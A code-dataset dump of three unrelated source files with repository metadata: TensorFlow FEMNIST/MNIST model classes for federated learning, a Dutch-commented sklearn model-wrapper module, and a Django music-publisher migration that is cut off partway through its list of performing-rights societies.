import numpy as np import tensorflow as tf from tqdm import trange class Model_femnist(object): ''' images are 28px by 28px with 62 classes ''' def __init__(self, num_classes, optimizer, seed=1): # params self.num_classes = num_classes self.optimizer = optimizer # create computation graph self.graph = tf.Graph() with self.graph.as_default(): tf.set_random_seed(123+seed) self.features, self.labels, self.train_op, self.grads, self.eval_metric_ops, self.loss = self.create_model( optimizer) self.saver = tf.train.Saver() self.sess = tf.Session(graph=self.graph) # find memory footprint and compute cost of the model self.size = graph_size(self.graph) with self.graph.as_default(): self.sess.run(tf.global_variables_initializer()) metadata = tf.RunMetadata() opts = tf.profiler.ProfileOptionBuilder.float_operation() self.flops = tf.profiler.profile( self.graph, run_meta=metadata, cmd='scope', options=opts).total_float_ops def create_model(self, optimizer): """Model function for Logistic Regression.""" features = tf.placeholder( tf.float32, shape=[None, 784], name='features') labels = tf.placeholder(tf.int64, shape=[None, ], name='labels') input_layer = tf.reshape(features, [-1, 28, 28, 1]) conv1 = tf.layers.conv2d( inputs=input_layer, filters=32, kernel_size=[5, 5], padding="same", activation=tf.nn.relu) pool1 = tf.layers.max_pooling2d( inputs=conv1, pool_size=[2, 2], strides=2) dropout1 = tf.layers.dropout( pool1, rate=0.4, ) conv2 = tf.layers.conv2d( inputs=dropout1, filters=64, kernel_size=[5, 5], padding="same", activation=tf.nn.relu) pool2 = tf.layers.max_pooling2d( inputs=conv2, pool_size=[2, 2], strides=2) dropout2 = tf.layers.dropout( pool2, rate=0.4, ) pool2_flat = tf.reshape(dropout2, [-1, 7 * 7 * 64]) dense = tf.layers.dense( inputs=pool2_flat, units=512, activation=tf.nn.relu) logits = tf.layers.dense(inputs=dense, units=self.num_classes) predictions = { "classes": tf.argmax(input=logits, axis=1), "probabilities": tf.nn.softmax(logits, name="softmax_tensor") } loss = tf.losses.sparse_softmax_cross_entropy( labels=labels, logits=logits) grads_and_vars = optimizer.compute_gradients(loss) grads, _ = zip(*grads_and_vars) train_op = optimizer.apply_gradients( grads_and_vars, global_step=tf.train.get_global_step()) eval_metric_ops = tf.count_nonzero( tf.equal(labels, predictions["classes"])) return features, labels, train_op, grads, eval_metric_ops, loss def set_params(self, model_params=None): if model_params is not None: with self.graph.as_default(): all_vars = tf.trainable_variables() for variable, value in zip(all_vars, model_params): variable.load(value, self.sess) def set_vzero(self, vzero): self.vzero = vzero def get_params(self): with self.graph.as_default(): model_params = self.sess.run(tf.trainable_variables()) return model_params def get_gradients(self, data, model_len): grads = np.zeros(model_len) num_samples = len(data['y']) with self.graph.as_default(): model_grads = self.sess.run(self.grads, feed_dict={self.features: data['x'], self.labels: data['y']}) grads = process_grad(model_grads) return num_samples, grads def get_raw_gradients(self, data): with self.graph.as_default(): model_grads = self.sess.run(self.grads, feed_dict={self.features: data['x'], self.labels: data['y']}) return model_grads def set_gradientParam(self, preG, preGn): self.optimizer.set_preG(preG, self) self.optimizer.set_preGn(preGn, self) def solve_inner(self, optimizer, data, num_epochs=1, batch_size=32): '''Solves local optimization problem''' if (batch_size == 0): # Full data or batch_size batch_size = len(data['y']) # //10 #if(optimizer == "fedavg"): #data_x, data_y = suffer_data(data) for _ in trange(num_epochs, desc='Epoch: ', leave=False, ncols=120): #X, y = get_random_batch_sample(data_x, data_y, batch_size) #with self.graph.as_default(): # self.sess.run(self.train_op, feed_dict={self.features: X, self.labels: y}) for X, y in batch_data(data, batch_size): with self.graph.as_default(): self.sess.run(self.train_op, feed_dict={ self.features: X, self.labels: y}) soln = self.get_params() with self.graph.as_default(): grad = self.sess.run(self.grads, feed_dict={ self.features: data['x'], self.labels: data['y']}) comp = num_epochs * \ (len(data['y'])//batch_size) * batch_size * self.flops return soln, grad, comp def test(self, data): ''' Args: data: dict of the form {'x': [list], 'y': [list]} ''' with self.graph.as_default(): tot_correct, loss = self.sess.run([self.eval_metric_ops, self.loss], feed_dict={self.features: data['x'], self.labels: data['y']}) return tot_correct, loss def close(self): self.sess.close() class Model_mnist(object): ''' images are 28px by 28px and classes only 10 ''' def __init__(self, num_classes, optimizer, seed=1): # params self.num_classes = num_classes self.optimizer = optimizer #self.vzero = # create computation graph self.graph = tf.Graph() with self.graph.as_default(): tf.set_random_seed(123+seed) self.features, self.labels, self.train_op, self.grads, self.eval_metric_ops, self.loss = self.create_model( optimizer) self.saver = tf.train.Saver() self.sess = tf.Session(graph=self.graph) # find memory footprint and compute cost of the model self.size = graph_size(self.graph) with self.graph.as_default(): self.sess.run(tf.global_variables_initializer()) metadata = tf.RunMetadata() opts = tf.profiler.ProfileOptionBuilder.float_operation() self.flops = tf.profiler.profile( self.graph, run_meta=metadata, cmd='scope', options=opts).total_float_ops def set_vzero(self, vzero): self.vzero = vzero def create_model(self, optimizer): """Model function for Logistic Regression.""" features = tf.placeholder( tf.float32, shape=[None, 784], name='features') labels = tf.placeholder(tf.int64, shape=[None, ], name='labels') logits = tf.layers.dense(inputs=features, units=self.num_classes, kernel_regularizer=tf.contrib.layers.l2_regularizer( 0.1)) # 0.001 #Linear layer without regularizer predictions = { "classes": tf.argmax(input=logits, axis=1), "probabilities": tf.nn.softmax(logits, name="softmax_tensor") } loss = tf.losses.sparse_softmax_cross_entropy( labels=labels, logits=logits) grads_and_vars = optimizer.compute_gradients(loss) grads, _ = zip(*grads_and_vars) train_op = optimizer.apply_gradients( grads_and_vars, global_step=tf.train.get_global_step()) eval_metric_ops = tf.count_nonzero( tf.equal(labels, predictions["classes"])) return features, labels, train_op, grads, eval_metric_ops, loss def set_params(self, model_params=None): if model_params is not None: with self.graph.as_default(): all_vars = tf.trainable_variables() for variable, value in zip(all_vars, model_params): variable.load(value, self.sess) def set_gradientParam(self, preG, preGn): self.optimizer.set_preG(preG, self) self.optimizer.set_preGn(preGn, self) def get_params(self): with self.graph.as_default(): model_params = self.sess.run(tf.trainable_variables()) return model_params def get_gradients(self, data, model_len): grads = np.zeros(model_len) num_samples = len(data['y']) with self.graph.as_default(): model_grads = self.sess.run(self.grads, feed_dict={self.features: data['x'], self.labels: data['y']}) grads = process_grad(model_grads) return num_samples, grads def get_raw_gradients(self, data): with self.graph.as_default(): model_grads = self.sess.run(self.grads, feed_dict={self.features: data['x'], self.labels: data['y']}) return model_grads def solve_inner(self, optimizer, data, num_epochs=1, batch_size=32): '''Solves local optimization problem''' if (batch_size == 0): # Full data or batch_size batch_size = len(data['y'])#//10 #if(optimizer == "fedavg"): #data_x, data_y = suffer_data(data) for _ in trange(num_epochs, desc='Epoch: ', leave=False, ncols=120): #X, y = get_random_batch_sample(data_x, data_y, batch_size) #with self.graph.as_default(): # self.sess.run(self.train_op, feed_dict={self.features: X, self.labels: y}) for X, y in batch_data(data, batch_size): with self.graph.as_default(): self.sess.run(self.train_op, feed_dict={self.features: X, self.labels: y}) soln = self.get_params() with self.graph.as_default(): grad = self.sess.run(self.grads, feed_dict={self.features: data['x'], self.labels: data['y']}) comp = num_epochs * \ (len(data['y'])//batch_size) * batch_size * self.flops return soln, grad, comp def test(self, data): ''' Args: data: dict of the form {'x': [list], 'y': [list]} ''' with self.graph.as_default(): tot_correct, loss = self.sess.run([self.eval_metric_ops, self.loss], feed_dict={self.features: data['x'], self.labels: data['y']}) print(tot_correct) return tot_correct, loss def FlopsD(self): return self.flops def close(self): self.sess.close()

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c487ba6c61c2f9b96d9cd8928ef24da4d11f50c2

9,654

py

Python

GUI/zeroone.py

MathijsTak/Pacemaker-ai

c4047fc5d5105452365753fe4ab880d3d7376907

[ "MIT" ]

1

2021-12-02T10:58:12.000Z

GUI/zeroone.py

MathijsTak/Pacemaker-ai

c4047fc5d5105452365753fe4ab880d3d7376907

[ "MIT" ]

3

2021-12-02T09:58:58.000Z

2021-12-20T09:33:13.000Z

GUI/zeroone.py

MathijsTak/Pacemaker-ai

c4047fc5d5105452365753fe4ab880d3d7376907

[ "MIT" ]

null

import numpy as np from numpy.core.numeric import tensordot import pandas as pd import matplotlib.pyplot as matplot from sklearn.model_selection import train_test_split from sklearn.neural_network import MLPRegressor as MLPR from sklearn.linear_model import LogisticRegression as LR from sklearn.neural_network import MLPClassifier as MLPC from sklearn.metrics import plot_confusion_matrix def OHencoding(df, columns): for column in columns: df = pd.get_dummies(df, columns=[column], prefix=[column]) return df def accuracy(pred_labels, true_labels): all_errors = [] for pred_label, true_label in zip(pred_labels, true_labels): # in elke iteratie van de loop krijgen we 1 predicted label in pred_label en 1 bijbehorend true label in true_label absolute_error = abs(pred_label - true_label) all_errors.append(absolute_error) MAE = sum(all_errors) / len(all_errors) return MAE def normalize(df, mapping): result = df.copy() for feature_name in df.columns: max_value = mapping[feature_name]['max'] min_value = mapping[feature_name]['min'] result[feature_name] = ( df[feature_name] - min_value) / (max_value - min_value) return result def plt(true_labels, pred_labels, label, length, yrange, ax): if ax == None: fig, ax = matplot.subplots() index = np.arange(length) bar_width = 0.25 opacity = 0.8 rects1 = ax.bar(index, true_labels[:length], bar_width, alpha=opacity, color='r', label='True_labels') rects2 = ax.bar(index + bar_width, pred_labels[:length], bar_width, alpha=opacity, color='b', label='Pred_labels') rects2 = ax.bar(index + 2*bar_width, abs(true_labels[:length]-pred_labels[:length]), bar_width, alpha=opacity, color='g', label='Absolute Error') ax.ticklabel_format(style='plain') ax.set_xlabel('') ax.set_ylabel('') ax.set_title(label) if yrange != None: ax.set_ylim(yrange) ax.legend() if ax == None: matplot.show() matplot.show() class MLPRegressor: def __init__(self, dataset, input_data, label, test_size=0.2, random_state=42, mapping=None): self.label = label self.mapping = mapping input_data = dataset[input_data] if mapping == None: input_data = (input_data - input_data.mean()) / \ (input_data.max() - input_data.min()) self.mean = input_data.mean() self.max = input_data.max() self.min = input_data.min() else: input_data = normalize(input_data, mapping) label = dataset[self.label] self.data_train, self.data_test, self.labels_train, self.labels_test = train_test_split( input_data, label, test_size=test_size, random_state=random_state) def plot(self, length, yrange=None, ax=None): pred_labels = self.model.predict(self.data_test) true_labels = self.labels_test #pred_labels = np.round(np.clip(pred_labels,0,1)) plt(true_labels, pred_labels, self.label, length, yrange, ax) def prediction(self, prediction_data): if self.mapping == None: prediction_data = (prediction_data - self.mean) / \ (self.max - self.min) else: prediction_data = normalize(prediction_data, self.mapping) pred_label = self.model.predict(prediction_data) return pred_label def train(self, hidden_layer_sizes): self.model = MLPR(hidden_layer_sizes) self.model.fit(self.data_train, self.labels_train) pred_labels = self.model.predict(self.data_test) true_labels = self.labels_test #pred_labels = np.round(np.clip(pred_labels,0,1)) self.accuracy = accuracy(pred_labels, true_labels) print('Het model heeft een nauwkeurigheid van {}.'.format(self.accuracy)) def epochtrain(self, hidden_layer_sizes, epochs, num_data): self.model = MLPR(hidden_layer_sizes, max_iter=1, warm_start=True) train_accs = [] test_accs = [] for epoch in range(epochs): self.model.fit( self.data_train[:num_data], self.labels_test[:num_data]) pred_labels = self.model.predict(self.data_train[:num_data]) true_labels = self.labels_train[:num_data] train_acc = accuracy(pred_labels, true_labels) train_accs.append(train_acc) pred_labels = self.model.predict(self.data_test[:1000]) true_labels = self.labels_test[:1000] test_acc = accuracy(pred_labels, true_labels) test_accs.append(test_acc) matplot.plot(train_accs, label='Train acc') matplot.plot(test_accs, label='Test acc') matplot.xlabel('Epoch') matplot.ylabel('Accuracy') matplot.ylim(0.1) matplot.legend() matplot.plot() matplot.show() class MLPClassifier: def __init__(self, dataset, input_data, label, test_size=0.2, random_state=42, mapping=None): self.label = label self.mapping = mapping input_data = dataset[input_data] if mapping == None: input_data = (input_data - input_data.mean()) / \ (input_data.max() - input_data.min()) self.mean = input_data.mean() self.max = input_data.max() self.min = input_data.min() else: input_data = normalize(input_data, mapping) label = dataset[self.label] self.data_train, self.data_test, self.labels_train, self.labels_test = train_test_split( input_data, label, test_size=test_size, random_state=random_state) def plot(self, length, yrange=None, ax=None): pred_labels = self.model.predict(self.data_test) true_labels = self.labels_test #pred_labels = np.round(np.clip(pred_labels,0,1)) plt(true_labels, pred_labels, self.label, length, yrange, ax) def prediction(self, prediction_data): if self.mapping == None: prediction_data = (prediction_data - self.mean) / \ (self.max - self.min) else: prediction_data = normalize(prediction_data, self.mapping) pred_label = self.model.predict(prediction_data) return pred_label def train(self, hidden_layer_sizes): self.model = MLPC(hidden_layer_sizes) self.model.fit(self.data_train, self.labels_train) pred_labels = self.model.predict(self.data_test) true_labels = self.labels_test #pred_labels = np.round(np.clip(pred_labels,0,1)) self.accuracy = accuracy(pred_labels, true_labels) print('Het model heeft een nauwkeurigheid van {}.'.format(self.accuracy)) def epochtrain(self, hidden_layer_sizes, epochs, num_data): self.model = MLPC(hidden_layer_sizes, max_iter=1, warm_start=True) train_accs = [] test_accs = [] for epoch in range(epochs): self.model.fit( self.data_train[:num_data], self.labels_test[:num_data]) pred_labels = self.model.predict(self.data_train[:num_data]) true_labels = self.labels_train[:num_data] train_acc = accuracy(pred_labels, true_labels) train_accs.append(train_acc) pred_labels = self.model.predict(self.data_test[:1000]) true_labels = self.labels_test[:1000] test_acc = accuracy(pred_labels, true_labels) test_accs.append(test_acc) matplot.plot(train_accs, label='Train acc') matplot.plot(test_accs, label='Test acc') matplot.xlabel('Epoch') matplot.ylabel('Accuracy') matplot.ylim(0.1) matplot.legend() matplot.plot() matplot.show() class LogisticRegressor: def __init__(self, dataset, input_data, label, test_size=0.2, random_state=42, mapping=None): self.label = label self.mapping = mapping input_data = dataset[input_data] if mapping == None: input_data = (input_data - input_data.mean()) / \ (input_data.max() - input_data.min()) self.mean = input_data.mean() self.max = input_data.max() self.min = input_data.min() else: input_data = normalize(input_data, mapping) label = dataset[self.label] self.data_train, self.data_test, self.labels_train, self.labels_test = train_test_split( input_data, label, test_size=test_size, random_state=random_state) def plot(self, length, yrange=None, ax=None): pred_labels = self.model.predict(self.data_test) true_labels = self.labels_test #pred_labels = np.round(np.clip(pred_labels,0,1)) plt(true_labels, pred_labels, self.label, length, yrange, ax) def prediction(self, prediction_data): if self.mapping == None: prediction_data = (prediction_data - self.mean) / \ (self.max - self.min) else: prediction_data = normalize(prediction_data, self.mapping) pred_label = self.model.predict(prediction_data) return pred_label def train(self): self.model = LR() self.model.fit(self.data_train, self.labels_train) pred_labels = self.model.predict(self.data_test) true_labels = self.labels_test #pred_labels = np.round(np.clip(pred_labels,0,1)) self.accuracy = accuracy(pred_labels, true_labels) print('Het model heeft een nauwkeurigheid van {}.'.format(self.accuracy))

36.847328

123

0.642221

1,254

9,654

4.704944

0.119617

0.064068

0.030847

0.032203

0.803051

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0.774068

0.767797

0.753898

0

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9,654

261

124

36.988506

0.808384

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0

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false

0

0.044776

0

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0

null

0

1

0

1

0

null

0

7

67181dffc726487490346879d45db98352604b35

58,109

py

Python

music_publisher/migrations/0001_initial.py

mashanz/django-music-publisher

4107a28460f175d17920010fc89f1f2d547c6226

[ "MIT" ]

44

2018-07-24T22:08:17.000Z

2022-03-10T14:51:37.000Z

music_publisher/migrations/0001_initial.py

mashanz/django-music-publisher

4107a28460f175d17920010fc89f1f2d547c6226

[ "MIT" ]

43

2018-10-09T11:43:55.000Z

2022-02-05T10:47:23.000Z

music_publisher/migrations/0001_initial.py

mashanz/django-music-publisher

4107a28460f175d17920010fc89f1f2d547c6226

[ "MIT" ]

20

2019-01-11T02:10:39.000Z

2022-02-17T22:34:45.000Z

# Generated by Django 3.1.4 on 2020-12-23 12:43 import django.core.validators from django.db import migrations, models import django.db.models.deletion import music_publisher.validators class Migration(migrations.Migration): initial = True dependencies = [ ] operations = [ migrations.CreateModel( name='ACKImport', fields=[ ('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')), ('filename', models.CharField(editable=False, max_length=60)), ('society_code', models.CharField(editable=False, max_length=3)), ('society_name', models.CharField(editable=False, max_length=45)), ('date', models.DateField(editable=False)), ('report', models.TextField(editable=False)), ('cwr', models.TextField(blank=True, editable=False)), ], options={ 'verbose_name': 'CWR ACK Import', 'ordering': ('-date', '-id'), }, ), migrations.CreateModel( name='Artist', fields=[ ('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')), ('first_name', models.CharField(blank=True, max_length=30, validators=[music_publisher.validators.CWRFieldValidator('name')])), ('last_name', models.CharField(db_index=True, max_length=45, validators=[music_publisher.validators.CWRFieldValidator('name')])), ('isni', models.CharField(blank=True, max_length=16, null=True, unique=True, validators=[music_publisher.validators.CWRFieldValidator('isni')], verbose_name='ISNI')), ], options={ 'verbose_name': 'Performing Artist', 'verbose_name_plural': 'Performing Artists', 'ordering': ('last_name', 'first_name', '-id'), 'abstract': False, }, ), migrations.CreateModel( name='ArtistInWork', fields=[ ('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')), ('artist', models.ForeignKey(on_delete=django.db.models.deletion.PROTECT, to='music_publisher.artist')), ], options={ 'verbose_name': 'Performing artist', 'verbose_name_plural': 'Performing artists (not mentioned in recordings section)', 'ordering': ('artist__last_name', 'artist__first_name'), }, ), migrations.CreateModel( name='DataImport', fields=[ ('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')), ('filename', models.CharField(editable=False, max_length=60)), ('report', models.TextField(editable=False)), ('date', models.DateTimeField(auto_now_add=True)), ], options={ 'verbose_name': 'Data Import', 'ordering': ('-date', '-id'), }, ), migrations.CreateModel( name='Label', fields=[ ('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')), ('name', models.CharField(max_length=60, unique=True, validators=[music_publisher.validators.CWRFieldValidator('name')])), ], options={ 'verbose_name': 'Music Label', }, ), migrations.CreateModel( name='Library', fields=[ ('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')), ('name', models.CharField(max_length=60, unique=True, validators=[music_publisher.validators.CWRFieldValidator('library')])), ], options={ 'verbose_name': 'Music Library', 'verbose_name_plural': 'Music Libraries', 'ordering': ('name',), }, ), migrations.CreateModel( name='Recording', fields=[ ('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')), ('recording_title', models.CharField(blank=True, max_length=60, validators=[music_publisher.validators.CWRFieldValidator('work_title')])), ('recording_title_suffix', models.BooleanField(default=False, help_text='A suffix to the WORK title.')), ('version_title', models.CharField(blank=True, max_length=60, validators=[music_publisher.validators.CWRFieldValidator('work_title')])), ('version_title_suffix', models.BooleanField(default=False, help_text='A suffix to the RECORDING title.')), ('release_date', models.DateField(blank=True, null=True)), ('duration', models.DurationField(blank=True, null=True)), ('isrc', models.CharField(blank=True, max_length=15, null=True, unique=True, validators=[music_publisher.validators.CWRFieldValidator('isrc')], verbose_name='ISRC')), ('artist', models.ForeignKey(blank=True, null=True, on_delete=django.db.models.deletion.PROTECT, to='music_publisher.artist', verbose_name='Recording Artist')), ('record_label', models.ForeignKey(blank=True, null=True, on_delete=django.db.models.deletion.PROTECT, to='music_publisher.label', verbose_name='Record label')), ], options={ 'verbose_name': 'Recording', 'verbose_name_plural': 'Recordings', 'ordering': ('-id',), }, ), migrations.CreateModel( name='Release', fields=[ ('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')), ('cd_identifier', models.CharField(blank=True, max_length=15, null=True, unique=True, validators=[music_publisher.validators.CWRFieldValidator('name')], verbose_name='CD identifier')), ('release_date', models.DateField(blank=True, null=True)), ('release_title', models.CharField(blank=True, max_length=60, null=True, validators=[music_publisher.validators.CWRFieldValidator('title')], verbose_name='Release (album) title ')), ('ean', models.CharField(blank=True, max_length=13, null=True, unique=True, validators=[music_publisher.validators.CWRFieldValidator('ean')], verbose_name='Release (album) EAN')), ('library', models.ForeignKey(blank=True, null=True, on_delete=django.db.models.deletion.PROTECT, to='music_publisher.library')), ], options={ 'verbose_name': 'Release', }, ), migrations.CreateModel( name='Work', fields=[ ('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')), ('title', models.CharField(db_index=True, max_length=60, validators=[music_publisher.validators.CWRFieldValidator('title')])), ('_work_id', models.CharField(blank=True, editable=False, max_length=14, null=True, unique=True, validators=[music_publisher.validators.CWRFieldValidator('name')], verbose_name='Work ID')), ('iswc', models.CharField(blank=True, max_length=15, null=True, unique=True, validators=[music_publisher.validators.CWRFieldValidator('iswc')], verbose_name='ISWC')), ('original_title', models.CharField(blank=True, db_index=True, help_text='Use only for modification of existing works.', max_length=60, validators=[music_publisher.validators.CWRFieldValidator('work_title')], verbose_name='Title of original work')), ('last_change', models.DateTimeField(editable=False, null=True, verbose_name='Last Edited')), ('artists', models.ManyToManyField(through='music_publisher.ArtistInWork', to='music_publisher.Artist')), ], options={ 'verbose_name': 'Musical Work', 'ordering': ('-id',), 'permissions': (('can_process_royalties', 'Can perform royalty calculations'),), }, ), migrations.CreateModel( name='Writer', fields=[ ('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')), ('first_name', models.CharField(blank=True, max_length=30, validators=[music_publisher.validators.CWRFieldValidator('name')])), ('last_name', models.CharField(db_index=True, max_length=45, validators=[music_publisher.validators.CWRFieldValidator('name')])), ('pr_society', models.CharField(blank=True, choices=[('226', 'AACIMH (HONDURAS)'), ('253', 'AAS (AZERBAIJAN)'), ('217', 'ABRAC (BRAZIL)'), ('201', 'ABRAMUS (BRAZIL)'), ('288', 'ABYROY (KAZAKHSTAN)'), ('107', 'ACAM (COSTA RICA)'), ('210', 'ACCESS COPYRIGHT (CANADA)'), ('306', 'ACCS (TRINIDAD AND TOBAGO)'), ('103', 'ACDAM (CUBA)'), ('76', 'ACEMLA (PUERTO RICO)'), ('260', 'ACS (UNITED KINGDOM)'), ('1', 'ACUM (ISRAEL)'), ('148', 'ADAGP (FRANCE)'), ('230', 'ADAVIS (CUBA)'), ('2', 'ADDAF (BRAZIL)'), ('250', 'AEI-GUATEMALA (GUATEMALA)'), ('3', 'AEPI (GREECE)'), ('4', 'AGADU (URUGUAY)'), ('289', 'AIPA (SLOVENIA)'), ('122', 'AKKA-LAA (LATVIA)'), ('5', 'AKM (AUSTRIA)'), ('127', 'ALBAUTOR (ALBANIA)'), ('54', 'ALCS (UNITED KINGDOM)'), ('30', 'AMAR (BRAZIL)'), ('12', 'AMCOS (AUSTRALIA)'), ('162', 'AMPAL (AUSTRALIA)'), ('17', 'AMRA (UNITED STATES)'), ('273', 'AMUS (BOSNIA AND HERZEGOVINA)'), ('218', 'ANACIM (BRAZIL)'), ('15', 'APA (PARAGUAY)'), ('7', 'APDAYC (PERU)'), ('163', 'APG-Japan (JAPAN)'), ('8', 'APRA (AUSTRALIA)'), ('164', 'APSAV (PERU)'), ('14', 'ARGENTORES (ARGENTINA)'), ('209', 'ARMAUTHOR NGO (ARMENIA)'), ('320', 'ARMONIA (FRANCE)'), ('149', 'ARS (UNITED STATES)'), ('236', 'ARTEGESTION (ECUADOR)'), ('9', 'ARTISJUS (HUNGARY)'), ('10', 'ASCAP (UNITED STATES)'), ('251', 'ASDACS (AUSTRALIA)'), ('219', 'ASSIM (BRAZIL)'), ('281', 'ATHINA- SADA - S.A.D.A. (GREECE)'), ('220', 'ATIDA (BRAZIL)'), ('141', 'ATN (CHILE)'), ('11', 'AUSTRO-MECHANA (AUME) (AUSTRIA)'), ('275', 'AUTODIAHIRISI (GREECE)'), ('166', 'AUTORARTE (VENEZUELA)'), ('231', 'AUTVIS (BRAZIL)'), ('203', 'AWGACS (AUSTRALIA)'), ('290', 'AZDG (AZERBAIJAN)'), ('202', 'AsDAC (MOLDOVA, REPUBLIC OF)'), ('274', 'AuPO CINEMA (UKRAINE)'), ('45', 'BBDA (BURKINA FASO)'), ('47', 'BCDA (CONGO)'), ('18', 'BGDA (GUINEA)'), ('132', 'BILD-KUNST (GERMANY)'), ('157', 'BILDRECHT GmbH (AUSTRIA)'), ('19', 'BMDA (MOROCCO)'), ('21', 'BMI (UNITED STATES)'), ('125', 'BNDA (NIGER)'), ('151', 'BONO (NORWAY)'), ('238', 'BSCAP (BELIZE)'), ('37', 'BUBEDRA (BENIN)'), ('6', 'BUCADA (CENTRAL AFRICAN REPUBLIC)'), ('23', 'BUMA (NETHERLANDS)'), ('16', 'BUMDA (MALI)'), ('24', "BURIDA (COTE D'IVOIRE)"), ('130', 'BUTODRA (TOGO)'), ('266', 'BeAT (BRUNEI DARUSSALAM)'), ('152', 'Bildupphovsrätt (Visual Copyright Society) (SWEDEN)'), ('168', 'CA (AUSTRALIA)'), ('283', 'CAPASSO (SOUTH AFRICA)'), ('264', 'CARCC (CANADA)'), ('26', 'CASH (HONG KONG)'), ('777', 'CELAS (GERMANY/UK)'), ('108', 'CHA (TAIWAN, CHINESE TAIPEI)'), ('316', 'CIS-Net AVI (FRANCE)'), ('312', 'CISAC (FRANCE)'), ('239', 'CMC (CAMEROON)'), ('88', 'CMRRA (CANADA)'), ('252', 'COLCCMA (TAIWAN, CHINESE TAIPEI)'), ('106', 'COMPASS (SINGAPORE)'), ('169', 'COSCAP (BARBADOS)'), ('124', 'COSOMA (MALAWI)'), ('268', 'COSON (NIGERIA)'), ('223', 'COSOTA (TANZANIA, UNITED REPUBLIC OF)'), ('284', 'COSOZA (ZANZIBAR)'), ('96', 'COTT (TRINIDAD AND TOBAGO)'), ('170', 'CPSN (NEPAL)'), ('171', 'CREAIMAGEN (CHILE)'), ('212', 'CSCS (CANADA)'), ('315', 'CSI (FRANCE)'), ('175', 'CopyRo (ROMANIA)'), ('248', 'DAC (ARGENTINA)'), ('296', 'DACIN-SARA (ROMANIA)'), ('153', 'DACS (UNITED KINGDOM)'), ('142', 'DALRO (SOUTH AFRICA)'), ('240', 'DAMA (SPAIN)'), ('276', 'DASC (COLOMBIA)'), ('293', 'DBCA (BRAZIL)'), ('172', 'DGA (UNITED STATES)'), ('271', 'DHFR (CROATIA)'), ('31', 'DILIA (CZECH REPUBLIC)'), ('173', 'DIRECTORES (MEXICO)'), ('145', 'DIRECTORS UK (UNITED KINGDOM)'), ('310', 'DIVA (HONG KONG)'), ('213', 'DRCC (CANADA)'), ('116', 'EAU (ESTONIA)'), ('308', 'ECAD (BRAZIL)'), ('214', 'ECCO (SAINT LUCIA)'), ('322', 'EVA (BELGIUM)'), ('147', 'FILMAUTOR (BULGARIA)'), ('174', 'FILMJUS (HUNGARY)'), ('32', 'FILSCAP (PHILIPPINES)'), ('222', 'FONOPERU (PERU)'), ('313', 'FastTrack DCN (FRANCE)'), ('261', 'GAI Uz (UZBEKISTAN)'), ('204', 'GCA (former SSA) (GEORGIA)'), ('297', 'GEDAR (BRAZIL)'), ('35', 'GEMA (GERMANY)'), ('635', 'GEMA-US (Additional CIS-Net Node)'), ('301', 'GESAC (BELGIUM)'), ('232', 'GESTOR (CZECH REPUBLIC)'), ('285', 'GHAMRO (GHANA)'), ('778', 'GMR ()'), ('144', 'HAA (CROATIA)'), ('111', 'HDS-ZAMP (CROATIA)'), ('34', 'HFA (UNITED STATES)'), ('154', 'HUNGART (HUNGARY)'), ('319', 'ICE Services AB (SWEDEN)'), ('229', 'ICG (UNITED STATES)'), ('314', 'IDA (FRANCE)'), ('128', 'IMRO (IRELAND)'), ('317', 'INTL-REP (FRANCE)'), ('36', 'IPRS (INDIA)'), ('247', 'IVARO (IRELAND)'), ('176', 'JACAP (JAMAICA)'), ('270', 'JASPAR (JAPAN)'), ('38', 'JASRAC (JAPAN)'), ('109', 'KCI (INDONESIA)'), ('40', 'KODA (DENMARK)'), ('118', 'KOMCA (KOREA, REPUBLIC OF)'), ('138', 'KOPIOSTO (FINLAND)'), ('287', 'KORRA (KOREA)'), ('178', 'KOSA (KOREA, REPUBLIC OF)'), ('179', 'KUVASTO (FINLAND)'), ('177', 'KazAK (KAZAKSTAN)'), ('215', 'Kyrgyzpatent (KYRGYZSTAN)'), ('110', 'LATGA-A (LITHUANIA)'), ('302', 'LATINAUTOR (URUGUAY)'), ('120', 'LIRA (NETHERLANDS)'), ('28', 'LITA (SLOVAKIA)'), ('41', 'LITERAR-MECHANA (AUSTRIA)'), ('309', 'LatinNet (SPAIN)'), ('265', 'MACA (MACAU)'), ('104', 'MACP (MALAYSIA)'), ('105', 'MASA (RMS) (MAURITIUS)'), ('44', 'MCPS (UNITED KINGDOM)'), ('311', 'MCPS-PRS Alliance (UNITED KINGDOM)'), ('119', 'MCSC (CHINA)'), ('43', 'MCSK (KENYA)'), ('22', 'MCSN (NIGERIA)'), ('126', 'MCT (THAILAND)'), ('117', 'MESAM (TURKEY)'), ('307', 'MIS@ASIA (SINGAPORE)'), ('272', 'MOSCAP (MONGOLIA)'), ('258', 'MRCSN (NEPAL)'), ('200', 'MSG (TURKEY)'), ('39', 'MUSICAUTOR (BULGARIA)'), ('707', 'MusicMark (USA)'), ('161', 'MÜST (TAIWAN, CHINESE TAIPEI)'), ('102', 'NASCAM (NAMIBIA)'), ('48', 'NCB (DENMARK)'), ('160', 'NCIP (BELARUS)'), ('241', 'NICAUTOR (NICARAGUA)'), ('181', 'NMPA (UNITED STATES)'), ('303', 'NORD-DOC (SWEDEN)'), ('286', 'ODDA (DJIBOUTI)'), ('291', 'OFA (SERBIA)'), ('33', 'OMDA (MADAGASCAR)'), ('49', 'ONDA (ALGERIA)'), ('298', 'OOA-S (CZECH REPUBLIC)'), ('50', 'OSA (CZECH REPUBLIC)'), ('82', 'OTPDA (TUNISIA)'), ('888', 'PAECOL (Additional CIS-Net Node)'), ('249', 'PAM CG (MONTENEGRO)'), ('182', 'PAPPRI (INDONESIA)'), ('256', 'PICTORIGHT (NETHERLANDS)'), ('51', 'PROLITTERIS (SWITZERLAND)'), ('52', 'PRS (UNITED KINGDOM)'), ('321', 'PUBLISHERS ()'), ('779', 'Polaris Nordic (SCANDINAVIA)'), ('94', 'RAO (RUSSIAN FEDERATION)'), ('294', 'REDES (COLOMBIA)'), ('228', 'ROMS (RUSSIAN FEDERATION)'), ('277', 'RSAU (RWANDA)'), ('278', 